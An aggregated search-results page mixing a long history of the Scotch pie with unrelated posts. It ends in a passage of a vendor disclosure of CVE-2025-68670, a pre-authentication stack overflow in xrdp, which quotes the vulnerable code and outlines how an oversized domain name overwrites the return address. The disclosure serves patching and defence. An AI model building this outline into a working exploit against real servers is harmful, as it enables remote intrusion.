Search
1000 results for “layer8”
-
The thread about the humble Scotch Pie; what makes it Scotch, what it is not, its history and a surprising aficionado
This thread was originally written and published in May 2023.
The humble Scotch Pie. Affordable. Digestible. Lukewarm. Greasy. Crunchy. Legendary.
A Scotch Pie, photo by Xabier Cid, PD on WikimediaSo what is a Scotch Pie? You might know what one looks and tastes like, but what defines it and how did it come to be? Why does it need to be called Scotch to differentiate it from other species of pie?
If one flicks to their Statutory Instruments of UK Law, to The Meat Pie and Sausage Roll Regulations (1967), they will find a legal definition in Part I (Preliminary), under section 2 (Interpretation).
‘Scottish pie’ means a meat pie composed of a shallow cylindrical pastry case not exceeding 5 inches in diameter containing minced beef or minced mutton, (or a mixture), cereal, water, salt and seasonings, and not containing any jelly.
Scotch Pie definition per the Meat Pie and Sausage Roll Regulations (1967).These regulations elaborate that the expression “Scottish Pie” refers to a “Scotch Pie”. The regulations account for a different pie tradition in Scotland vs. England or Wales. Scotch Pies are allowed different meat (lower) and fat (higher) ratio than non-Scottish pies. For a pre-cooked Scotch Pie, it has to be no less than 20% meat overall, and there is a specific Scotch Pie formula used to calculate it.
Formula for a Scotch pie. FM = weight of fat in meat, FP = weight of fat in pastry, CP = weight of carbohydrate (flour) in pastry. FM expressed as a percentage of overall pie weight, must be over 20% for a cooked Scotch pie, or 17% for uncooked.Regulations don’t define the pastry, but it’s nearly always a thin, hot-water crust pastry made with lard. Seasonings are not specified, but is always heavy on white pepper and each baker or butcher will have their own specific mix, with nutmeg usually in there too.
Some pictures of so-called “Scotch Pies” that you will find in online recipes feature a very chunky minced meat filling, the sort supermarkets sell. These aren’t Scotch Pies – where the mince should be very finely chopped and mixed with a bit of rusk or flour so that it forms a sort of tasty, homogeneous meat blob when cooked – these other pies have the filling of what is called a “Mince Round”, a much wider, shallow pie, served in slices.
A small mince round, not a Scotch pie. The sides should also be parallel, not widening towards the top.The regulations so say a Scotch pie must be cylindrical and how wide it is, but a few centuries of tradition says it is a very shallow pie and that the pastry should be *very* thin, and self supporting. This tall BBC / Paul Hollywood effort has been made with a thick pastry suitable for a pork pie, and raised tall in the same manner on a dolly, which as a result has to be cooked with a supporting wall of greaseproof paper tied with string and is absolutely not a Scotch Pie. Frankly both Paul and the BBC should know better and should pull the recipe as a national slander.
Paul Hollywood’s Not-a-Scotch-Pie PieThe Scotch Pie pastry lid should be sunk lower than the edges, crimping of fluting is not traditional in many places, but some bakers will do it. That’s the thing about pies, much like morning rolls, they vary and are one of the few places were a Scottish baking tradition is still expressed with infinite regional variety. A hole in the lid is not obligatory, but again is done some places or it isn’t done in others. Some say it’s to pour gravy or sauce in. Dundee lore is that a 2 hole “Peh” also has onions in the mix (but legally – with onions in there – it ain’t a Scotch Peh!).
Scotch Pies with holes, sold by Tailford Meats, BroxburnThe Dundonian penchant for onions in their pies (or their Bridies, a totally different, hand-held, meat-filled baked good), gives rise to the shibboleth “Twa pehs, a plen ane an an ingin ane an a“, where the last 6 words are rolled into a single, rapid, tongue-twisting sound that goes “aningininanaw”.
Scotch Pies have usually avoided politics. However in 1991, Baroness Trumpington, then Agriculture Minister, pledged to “defend [this] British delicacy from Brussels bureaucrats“, in an argument with the EC over regulations around definition of uncooked mince content.
While always a popular staple of those attending football matches or with hangovers, it took a determined, post-BSE crisis effort in the late 90s to begin to rehabilitate the pie. The Langholm Pie Club formed in 1996, to “search for the perfect Scotch pie”. In 1999, Alan Stuart, a traditional butcher and baker in Buckhaven, formed the Scotch Pie Club, to raise the profile of the pie. The club was “modelled on the Sausage Appreciation Society” (Matron!). Stuart and the Club have been credited with successfully rehabilitating the Scotch Pie as not just a lowest common denominator product, but something that exemplifies the craft of traditional and regional Scottish butchery and bakery. The club’s slogan is Say Aye Tae a Pie and you can buy it on a pin badge from ebay. Their main event is the annual Scotch Pie World Championship, which was first run in 1999 when it was won by John Davies of Bo’ness, whose family bakery had been making and selling Scotch Pies for 20 years. Stuarts of Buckhaven themselves won it in 2007.
Norrie and Keith Stuart proudly hold the World Scotch Pie Championship Trophy backed up by Derek McMahon, Alan and Jan Stuart. Picture from Scottish Craft Butchers.In 2000, Maurice Irvine from Ayrshire penned “Tae a Pie” in the best spirit of the other Ayrshire bard, to toast its immortal memory:
Whether yer naked or filled wi beans
A Toast tae the Pie, by Maurice Irvine, from Ayrshire
The price is aye within a bodie’s means
Your crust is firm but not too hard
It’s just the right balance of flour, salt and lard
The meat in the middle is spicy and braw
There’s naithing tae beat it, naithin at ah!
You’re as Scottish as Bruce but you’ll never die
Lads and Lassies, I gie ye
The PieYou’ll note that I’ve been using the term “Scotch Pie” consistently – as that’s how it’s defined, but of course in Scotland it’s usually just “a” Pie (or a Peh if you’re Dundonian). Calling it “Scotch” stems from the post-war legal definitions and food labelling requirements and the introduction of many other sorts of pies into the Scottish marketplace. But if you go into a traditional baker or butcher and order yourself “a Pie”, you’ll get served a Scotch Pie.
Scotch Pie cross-section from Dalbeattie Fine Foods. By Delta-NC, PD on WikimediaThe fact Scotch Pies are not referred to as such in any older sources makes it relatively hard to research – if you just search for “pie” it’s not specific enough. But with some perseverance it’s possible to trace our modern Scotch Pie as evolving from the traditional “Penny Mutton Pie” of the late 18th and early 19th century. These were small, individual pies sold warm by bakers or butchers, particularly on market days or holidays, at an affordable price. Note that at this time, such pies in Scotland were always mutton, the predominant day-to-day meat eaten by most people. Beef was always more of a luxury and didn’t begin creeping into the Scotch Pie mix until the middle of the 20th century, and didn’t really displace mutton until the 1950s and 60s as the former became cheaper and the latter’s staple position on the Scottish dinner plate waned.
The grand doyenne of Scottish culinary writing – F. Marian Mcneill – wrote of ” our most distinctive Scottish pie, the small mutton pie” in 1937 in a piece for the Scotsman. She describes a pie from the memoirs of James Stuart MP, who had schooled at Madras College in St. Andrews and gone to university there too, in the 1850s and 60s. It was of “mutton minced to the smallest consistency, and was made up in a standing crust, strong enough to contain the gravy… there were no lumps of fat or grease in them. They always arrived piping hot“. These pies, Stuart fondly recalled, were made and sold by “Mrs Gillespie, the pie-wife of St. Andrews” and still made his mouth water decades later just thinking about them.
“Hoxton Division”, James Stuart MP as caricatured by “Stuff” in Vanity Fair, October 1899McNeill gives us a definitive recipe I can find – writing for the Scotsman in 1937 – stating that small mutton pies were “as popular in 18th century Edinburgh as [they are] today” and that she did not know whether Glasgow’s claim to be “it’s true home” was correct. I don’t think any one place could ever claim to be the birthplace of the Scotch Pie – they were clearly a common and widespread product across the centre and east of the country in the late 18th century.
Recipe for a Scots Mutton Pie, Scotsman, Dec 1937 – F. Marian Mcneill, author of the Scots KitchenA story in the Brechin Advertiser in 1890 implies the existence of a Penny Mutton Pie shop run by baker Willie Smith, in the 1820s, to which local boys flocked as hawkers, being paid in pies; 1 pie given per dozen sold. The John O’ Groats Journal in 1840 mentions Penny Mutton Pies. On New Year’s Day 1850, the Barony Workhouse in Glasgow announced in the papers that inmates “old and young, sane and insane” would be “made happy with a hot mutton pie each“. In 1853 the occasion of the coming of age of William Kerr, 9th Marquess of Lothian, was celebrated in Newbattle by a parade of miners and mining bands, with children “regaled with mutton pies, the boys engaged in the collieries being provided with pies of larger size“. In 1865, I find what is the earliest overt advert for a Penny Mutton Pie that I have come across, with A. Reid at the “Top of the Murraygate and Seagate” in Dundee offering them at 1d or 2d each under the slogan “If you want a good Mutton Pie, try A. Reid’s“. In October 1892, Mr A. Gordon of Gordon St., Huntly, announced the start of the “Hot mutton pie supply for the season”, clearly suggesting that in some places they may have been a seasonal product.
Pie Season! Huntly Express – 01 October 1892Such mutton pies – be they called Small, Scots or Penny – would be recognisable to us today but probably offered much more variety of style and content than we are now used to. The first actual glimpse we get of one is in a Dundee Courier cartoon of 1889 for a column entitled “Impressions of Dundee“, which tells a humorous story of a homesick Dundonian coming across a man eating a Dundee mutton pie in the British Library in London.
The earliest picture of a Scotch Pie? Dundee Courier – 14 June 1889Pie Advertising is common in Scottish newspapers in the first half of the 20th century, but usually just a few lines of text in the classified pages. However in 1924, Hay’s of Murraygate, Dundee (legendary for its association with the genesis of the Macaroni Pie) took out a particularly fancy advert for “The Big Pie” at 1/6d as a “Sure Favourite for the Weekend“. From the image it appears to be a giant Scotch pie (which of course, modern definition wouldn’t allow to be called a Scotch Pie!)
The Big Pie, 1/6 advert. Dundee Evening Telegraph – 22 February 1924It was around this time that a Mr Stoddart, a baker in the Ayrshire town of Cumnock, came up with the sweet-filled version of the Scotch pie – the appropriately named “Cumnock Tart” – which is a regular Scotch Pie case but with a stewed apple or rhubarb filling, and a glaze of the same fruit. Cumnock Tarts sold in actual Cumnock appear to have evolved into a more oval-shape, with a crimped edge, but the “fruit Scotch pie” form is the more common.
Rhubarb Cumnock Tart, Clark’s Bakery of DundeeBack to mutton pies though. Victor MacClure, writing in “Scotland’s Inner Man“, a 1935 food and cookery history, recorded that in Glasgow they were known as “Tupenny Struggles” and that hot gravy was poured in the hole in the pie lid when sold and served. Catherine Brown, writing in “Scottish Regional Recipes” in 1983, records an establishment of yore run by a character called Grannie Black in Glasgow’s Candleriggs that was renowned for its “Tupenny Mutton Pies“. A bar of that name existed from the 1820s until it was demolished relatively recently.
Aside from the sweetened version, the basic Scotch Pie case is infinitely flexible as a filling containment and delivery system. Clarks of Dundee for instance offer: Scotch, Scotch with Beans, Scotch with Onion, Steak & Gravy, Bean & Tattie (a Scotch Pie, but with the top lid replaced by a layer of mashed potato and baked beans, to give a whole meal in a pie), Bolognese, Chicken Curry, Korma, Tikka, Balti and Chicken and Ham. The lasagne pies of Argo’s in Kirkwall are legendary, and I’ve been advised that a Bovril pie is too. And of course, take off the lid and fill the pie with macaroni cheese, and you get the Macaroni pie, which as far as I can trace was first sold by Hays of Dundee in 1920 (click the link for the thread about that particular pie, and pasta in general in traditional Scottish cuisine).
Scotch Pies have travelled the world, put down roots and evolved into national pies of their own (or, at least some of it) and have a reasonable claim to explain why similar small, hand-held meat pies have a cult status in Australian and New Zealand cuisine. You see in the late 1850s, an “energetic young Scotchman with only a few pounds in the way of capital“, by the name of James Seves Hosie, opened a pie shop on Bourke Street in Melbourne, where he sold “thrupenny mutton pies”. James, a bootmaker to trade, was born in Fife in 1831 but grew up in Leith. He arrived in Melbourne in 1853 from the ship Koh-I-Noor.
A New Zealand “Macgregor’s Mutton Pie”, by Bernie’s Bakery HQ of TimaruHosie’s father started a bakery in Melbourne on Bourke Street, and after working as a bootmaker in the Australian gold fields, the young James settled down in an establishment of his own nearby and made a fortune from his pies. And what was the name of Hosie’s establishment? Why it was The Scotch Pie Shop! And it’s recorded in metal in the penny tokens he issued due to a shortage of small coinage in circulation. In later life,his financial success on the back of Scotch Pies allowed him to build “a pretty bijou theatre… a luxurious Turkish bathing establishment… a couple of gigantic hotels and attained the dignity of Mayor“. He died in 1889, leaving £10,000 to a Melbourne Hospital.
J. Hosie “Scotch Pie Shop” penny token of 1862. Businesses issued such tokens when there was a lack of circulating small coinage in a community, and carried the name of a prominent and respected businessman who could exchange the tokens for real money. See the thread on Scottish Conder Tokens for a similar practice in the 18th and early 19th century © Museums Victoria / CC-BY 4.0While this is not the earliest use of the term “Scotch Pie” it is the first definitive use of it I can find to describe a small, penny, mutton pie of Scottish heritage: even if it was thousands of miles from Scotland.
There is a second type of pie referred to as “Scotch”. There was no common definition of what sort of pie this was, but its characteristic was it was some sort of “make do” pie to spin out what you had and it’s important to note that it was not specifically a Scottish thing. Rather, in this case “Scotch” was a reference to the perceived meanness and/or thriftiness of Scots.
A 1908 recipe by Olive Green in “How to Cook Fish” has a Scotch Pie being a mackerel pie with layers of sliced potato instead of pastry. In 1909 by Eleanor L. Jenkinson in “The Ocklye Cookery Book” it’s a pie of boiled calf’s head and eggs. In 1914 in the Huntly Express, it’s a fruit-less fruit pie made using a thin layer of jam. In the Sheffield Daily Telegraph in 1928 it’s a pie of grouse, mushroom and boiled eggs. In 1931’s Leicester Chronicle, it’s sheep’s heart, bacon and boiled eggs with mashed potato on top. In 1940’s “Cookery Corner” in the Daily Mirror, a Scotch Pie was a wartime economy recipe made of a tin of tomato soup, chopped onion and minced beef in pastry. In 1949, during the grim times of post-war austerity, the Sunday Mail in Glasgow gives a frugal and rather desperate recipe for “Scotch Pie” to serve 4 that is lentils, onions and carrots in a thin “gravy” made of dripping and the water in which the lentils were cooked, covered in a layer of mashed potato and swede and baked. Woolton pie, but worse! As late as 1954, a recipe in the “Kitchen Encyclopaedia” by the Anglo-American cookery writer Countess Morphy (her pen name, she wasn’t a countess or called Morphy!) gives an odd-sounding recipe of mutton suet, calf’s feet, apples, currants and various sweet flavourings!
Countess Morphy’s terrible sounding 1954 apple and currant pie with suet and calf’s feetBut by the 1950s, the tide was turning in terms of the naming of a Scotch Pie, as an increasingly less localised and more mechanised baking industry found itself needing more specific definitions and machinery. In 1949 Waddell of Wishaw, bakers engineers, were advertising an electric pie machine for forming “Scotch Pie shells”. In 1969, Clyde-Enco Ltd advertised the “Clyde-Enco Clean Depositor” for “depositing Scotch Pie meat” in the case. Both of these were Scottish companies, serving the Scottish pie-baking industry, referring to them as Scotch Pies. A somewhat surprising fan of the Scotch Pie, and an early use (outwith Australia) calling a Scotch Pie a Scotch Pie is revealed in a September 1963 gossip column by Rex North in the Daily Mirror. None other than Alfred Hitchcock, who had told Rex he had “finally got a recipe” for such pies that was “to his satisfaction”, thus solving a “personal mystery”. One can only imagine Hitchcock picked up his pie habit filming The 39 Steps in Scotland in the 1930s and again in the 1950s.
There is a third broad grouping of “Scotch Pies” beyond the Penny Mutton and the Austerity Pies covered above. This type of Scotch Pie is a much older form with its own history and is an interesting tangent to our story. And these Scotch Pies were huge pies, defined both by their size and that they could be filled with anything and everything! Mention of such pies is made by Samuel Johnson, writing of his encounters with Scottish fayre in the 18th c. on his travels. He describes a “Scotch Pie” as a seasonal, celebratory pie:
Which contains a heterogeneous mass of fish, flesh and fowl, and almost every other species of edible substance, and so ample are its dimensions that more than one whole goose is frequently encrusted within its walls
Samuel Johnson, on the subject of “Scotch” PiesThis “everything pie” results in “Scotch Pie” being a derisory metaphor used in 1835 to describe the cabinet of the new Prime Minister, Viscount Melbourne, as a “Scotch Pie Cabinet” on account of its varied contents and (from the point of view of the author), distasteful contents. However the “Scotch Pie” that Johnson saw is more than likely what was called a Bride’s Pie or Bride Pie and was a vestige of an an ancient European wedding tradition going back to medieval times, but which had largely died out by the later Elizabethan era. These Bride Pies – also called Subtleties or Extraordinary Pies – were huge, multi-tiered pies, the origin of the multi-tiered wedding cake. Intricate moulds were used to bake the structural (and inedible) pie cases
A Bride Pie mould (right), from “The Accomplish’t Cook” of 1660 by Robert May.The pies were “flamboyantly inedible” and were filled with anything and everything – alive and dead. Edible parts included cockscombs, sweetbreads, testicles, kidneys, prawns, oysters, cockles, bats, frogs and blackbirds. Yes, these pies are where you get the nursery rhyme of “four and twenty blackbirds baked in a pie”. However such birds were often alive, placed inside a hollow pie shell, so that when they were cut open they would fly or jump out in a stunning (or disastrous) display.
“Four and twenty black-birds, baked in a pie”, from a 19th c. book of nursery rhymes illustrated by Walter Crane. Collection of New York Public Library, ID 1699266Samuel Pepys, writing in the mid-late 17th century, refers to a bride pie at the wedding of Sir William Batten, 3 pies, nested one within the other, but they were falling out of fashion with the upper classes by this time. They persisted in rural Scotland into the early 19th century, particularly the lowlands, forming their own tradition of wedding pies related to the “Penny Wedding” or “Penny Bridal” custom, which is recorded in Scotland back into the 16th century. In the Scottish romantic revival of the 18th and early 19th century, the Penny Wedding was a frequent subject. Sir David Wilkie’s 1818 painting gives you an idea of what they were like.
“The Penny Wedding”, David Wilkie, 1818. Royal Collection Trust / © His Majesty King Charles III 2022Guests paid a penny to attend, which covered any costs for the married couple and also provided a financial gift to help set the married couple up. A suitable barn or hall was the venue. Musicians and entertainment provided itself from amongst the community and it was the responsibility of the bridal family to provide the food: a Bride Pie. And what do we see in the background of Wilkie’s painting? Why, it’s a great, big bride pie!
Close up. “The Penny Wedding”, David Wilkie, 1818. Royal Collection Trust / © His Majesty King Charles III 2022And in David Allan’s “Scottish Penny Wedding” of 1795? Why if it isn’t a great big bride pie again…
“The Penny Wedding”. David Allan, 1795. CC-by-NC National Galleries ScotlandIt was the custom that the whole community, were able, would provide what content for the pie that they could, which is why it came to contain everything and anything, from farm meat to game to fish to eggs to dairy. The laird or tacksman would (if they were on good terms) provide joints for it too. All guests expected to – and were obliged to – be served some of this giant pie. By the 1860s, “penny weddings” and pies were being written of in the past tense, but are recorded both in Borders and Aberdeenshire publications. By the 1890s they are described as being “vanished“.
We should note that the phrase “penny wedding” must be post-Union, as it refers to an amount equivalent to the English/British penny, historically the tradition was to pay a Scots shilling – which was of equivalent value. So while although these Bride’s Pies were not Scotch Pies, almost certainly they are what Johnson was referring to as his Scotch Pie. And what does the word Bride’s Pie give us? It gives us Bridie, the other Scottish baked good that’s filled with minced meat. The semi-circular shape of the Bridie is reputed to resemble a horse shoe, and there are certainly references to it originally being something prepared and served for holidays and separations. But Bridies will have to wait for another day for their own thread.
Bridies by Bell’s of Edzell and MontroseThere was no fixed recipe for a Bride’s Pie on account of its very “pot luck” nature, but one is given by Margaret Dods (pen name of Chirstian Johnston) in the 1826 Scottish cook book “The Cook and Housewife’s Manual”. It’s the very same recipe as the Countess Morphy gives us in 1954 that we saw earlier in this post! Johnston, who was sponsored by Walter Scott, gives us something much more important than a recipe here though, she provides us a definitive proof that at this time a Bride’s Pie and a Scotch Pie are one and the same. With it’s unashamed mixture of sweet, savoury, alcohol and spice, the Bride’s Pie Scotch Pie is undeniably of a much older cooking tradition, one that was rapidly dying out as the Victorian era approached.
A Bride’s or Scotch Pie recipe. 1826. The cook and housewife’s manual, containing the most approved modern receipts for making soups, gravies, sauces, ragouts, and all made-dishes, by Margaret DodsHere ends the thread on Scotch Pies. I hope you’ve enjoyed it and learned something along the way: I absolutely did – it’s a subject about which I’ve been gathering factual titbits on for a long time and I promise you it’s the most in-depth read on Scotch Pies you’ll find on the internet. If you enjoyed this be sure to check out my other long-form threads on staple Scottish fayre such as Plain Breid, Morning Rolls and Creamola Foam.
Note to readers: unfortunately in April 2026, a third-party plug-in more than exceeded its authority and broke many of the image links on this site. No images were lost but I will have to restore them page-by-page, which may take some time. In the meantime please bear with me while I go about rectifying this issue.
If you have found this site useful, informative or amusing then you can help contribute towards its running costs by supporting me on ko-fi. This includes my commitment to keeping it 100% advert and AI free for all time coming, and in helping to find further unusual stories to bring you by acquiring books and paying for research.
Or please do just share this post on social media or amongst friends and like-minded people, sites like this thrive on being shared.Explore Threadinburgh by map:
Travelers' Map is loading...
If you see this after your page is loaded completely, leafletJS files are missing.These threads © 2017-2026, Andy Arthur.
NO AI TRAINING: Any use of the contents of this website to “train” generative artificial intelligence (AI) technologies to generate text is expressly prohibited. The author reserves all rights to license uses of this work for generative AI training and development of machine learning language models.
#Lochend #Logan #Restalrig #StMargaret -
Support for bounce buffering of DirectIO for stable pages was merged for #Linux 7.0 via @axboe
https://git.kernel.org/torvalds/c/4adc13ed7c281c16152a700e47b65d17de07321a
""This series tries to address the problem that under I/O pages can be modified during direct I/O, even when the device or file system require stable pages during I/O to calculate checksums, parity or data operations. It does so by adding block layer helpers to bounce buffer an iov_iter into a bio, then wires that up in iomap and ultimately XFS.
The reason that the file system even needs to know about it, is because reads need a user context to copy the data back, and the infrastructure to defer ioends to a workqueue currently sits in #XFS. I'm going to look into moving that into ioend and enabling it for other file systems. Additionally #btrfs already has it's own infrastructure for this, and actually an urgent need to bounce buffer, so this should be useful there and could be wire up easily. In fact the idea comes from patches by Qu that did this in btrfs. […]""
-
Right, this!
I took the PHA cargo trailer hitch adapter off the bike for examination, and the result is: it's fine! 100% good. The extra flexibility of PHA really seems to have helped. That or the layer adhesion vs. PLA is as much better as claimed. Or both.
So as of now this is the production model, I guess! Not that there's going to be a production run since it's built for exactly my bike and this trailer lol BUT it does seem to work and even with the inexplicable trailer flip came through the long ride completely fine.
Even the little crack on a part I've since engineered out wasn't actually a crack. Just a weird seam.
Victory again for TAK! I guess. :D
-
ESA launches first Celeste satellites to test complementary LEO navigation layer
-
I made "Koi Fish Beauty And Color In Motion" to explore movement and color—warm oranges and reds weaving through cool blues. I layered exposures to suggest the koi’s natural dance, balancing energy with calm. Which color pulls you in?
Link to image, Fine Art Prints | Wall Art: https://joegiacaloneart.pixels.com/featured/koi-fish-beauty-and-color-in-motion-joseph-s-giacalone.html
#koi #motionblur #abstractphotography #underwater #fishart #contemporaryart #wallart #fineartprints #colorful #aquatic #buyintoart
-
I made "Koi Fish Beauty And Color In Motion" to explore movement and color—warm oranges and reds weaving through cool blues. I layered exposures to suggest the koi’s natural dance, balancing energy with calm. Which color pulls you in?
Link to image, Fine Art Prints | Wall Art: https://joegiacaloneart.pixels.com/featured/koi-fish-beauty-and-color-in-motion-joseph-s-giacalone.html
#koi #motionblur #abstractphotography #underwater #fishart #contemporaryart #wallart #fineartprints #colorful #aquatic #buyintoart
-
I made "Koi Fish Beauty And Color In Motion" to explore movement and color—warm oranges and reds weaving through cool blues. I layered exposures to suggest the koi’s natural dance, balancing energy with calm. Which color pulls you in?
Link to image, Fine Art Prints | Wall Art: https://joegiacaloneart.pixels.com/featured/koi-fish-beauty-and-color-in-motion-joseph-s-giacalone.html
#koi #motionblur #abstractphotography #underwater #fishart #contemporaryart #wallart #fineartprints #colorful #aquatic #buyintoart
-
I made "Koi Fish Beauty And Color In Motion" to explore movement and color—warm oranges and reds weaving through cool blues. I layered exposures to suggest the koi’s natural dance, balancing energy with calm. Which color pulls you in?
Link to image, Fine Art Prints | Wall Art: https://joegiacaloneart.pixels.com/featured/koi-fish-beauty-and-color-in-motion-joseph-s-giacalone.html
#koi #motionblur #abstractphotography #underwater #fishart #contemporaryart #wallart #fineartprints #colorful #aquatic #buyintoart
-
I still have to update my #ErgoDash online "diary", but I took another step into the #MechanicalKeyboards rabbit hole: today I've swapped my keycaps (these: https://ymdkey.com/products/107-dsa-profile-gray-orange-keycaps-for-id75-xd75-planck-preonic-niu40) to finally go with #ColemakDH (https://colemakmods.github.io/mod-dh/).
It's still not the default layer, and I'm not a touch-typer, but it's one click away when I turn on the PC, and it's about time to learn!
I'm sure I'll get crazy learning it, but... why not!? 😇 -
Design Tips to Hide Layer Lines in 3D Printed Parts - [Slant 3D] knows a lot about optimizing 3D prints so that they can be cranked out ... - https://hackaday.com/2024/03/04/design-tips-to-hide-layer-lines-in-3d-printed-parts/ #3dprinterhacks #massproduction #3dprinting #layerlines #optimizing #dfm
-
Self Chain Ousts CEO Ravindra Kumar After $50M OTC Scam Allegations - Layer-1 blockchain Self Chain announced that it has terminated its CEO Ravindra Kumar aft... - https://www.coindesk.com/business/2025/06/23/self-chain-ousts-ceo-ravindra-kumar-after-usd50m-otc-scam-allegations #finance #layer1 #scam #news #otc
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In 